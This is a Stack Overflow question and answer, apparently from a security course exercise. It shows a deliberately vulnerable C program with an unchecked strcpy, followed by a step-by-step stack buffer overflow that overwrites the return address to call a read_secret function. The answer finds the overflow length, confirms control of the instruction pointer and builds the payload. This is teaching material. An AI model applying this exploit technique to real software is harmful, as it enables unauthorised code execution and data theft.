4

So, I'm trying to exploit this program that has a buffer overflow vulnerability to get/return a secret behind a locked .txt (read_secret()).

vulnerable.c //no edits here

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
    FILE *fptr = fopen("/task2/secret.txt", "r");
    char secret[1024];
    fscanf(fptr, "%512s", secret);
    printf("Well done!\nThere you go, a wee reward: %s\n", secret);
    exit(0);
}

int fib(int n)
{
   if ( n == 0 )
      return 0;
   else if ( n == 1 )
      return 1;
   else
      return ( fib(n-1) + fib(n-2) );
} 

void vuln(char *name)
{
    int n = 20;
    char buf[1024];
    int f[n];
    int i;
    for (i=0; i<n; i++) {
      f[i] = fib(i);
    }
    strcpy(buf, name);
    printf("Welcome %s!\n", buf);
    for (i=0; i<20; i++) {
      printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
    } 
}


int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Tell me your names, tricksy hobbitses!\n");
        return 0;
    }

    // printf("main function at %p\n", main);
    // printf("read_secret function at %p\n", read_secret);
    vuln(argv[1]);
    return 0;
}

attack.c //to be edited, doesn't have to be in Python

#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"

I know I can cause a segfault if I print large enough string, but that doesn't get me anywhere. I'm trying to get the program to execute read_secret by overwriting the return address on the stack, and returns to the read_secret function, instead of back to main.

But I'm pretty stuck here. I know I would have to use GDB to get the address of the read_secret function, but I'm kinda confused. I know that I would have to replace the main() address with the read_secret function's address, but I'm not sure how.

Thanks

1
  • Have you figured out exactly how many bytes you have to send to cause the segfault? Commented Mar 22, 2019 at 12:43

1 Answer 1

2

Alright, let's do this step-by-step.

As you said, you have to fill the buffer with junk data until you overwrite the instruction pointer.

First, you need to find out how many bytes you have to send in order to completely fill the buffer.

You have to try with various length junk data, until the program crash with a segfault.

/task2/vuln "$(python -c "print 'A' * 1026")"

/task2/vuln "$(python -c "print 'A' * 1028")"

/task2/vuln "$(python -c "print 'A' * 1029")"
(Segmentation fault)

Next, you need to be sure that you are indeed controlling the instruction pointer, and not just crashing the program.

We'll send the 4 bytes string "BBBB" right after our 1028 bytes junk data (also call a padding). It should overwrite the instruction pointer with the value "\x42\x42\x42\x42" ("BBBB" in hex).

/task2/vuln "$(python -c "print 'A' * 1028 + 'BBBB'")"
(Segmentation fault)
> dmesg | tail
You should see something like "Segmentation fault, Invalid EIP (0x42424242) [...]

Finally, we need to find the "read_secret()" address, in order to overwrite the instruction pointer with it:

gdb /task2/vuln
> info functions
[...]
0x44434241    read_secret()

So the final exploit look like:

/task2/vuln "$(python -c "print 'A' * 1028 + '\x41\x42\x43\x44'")"

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .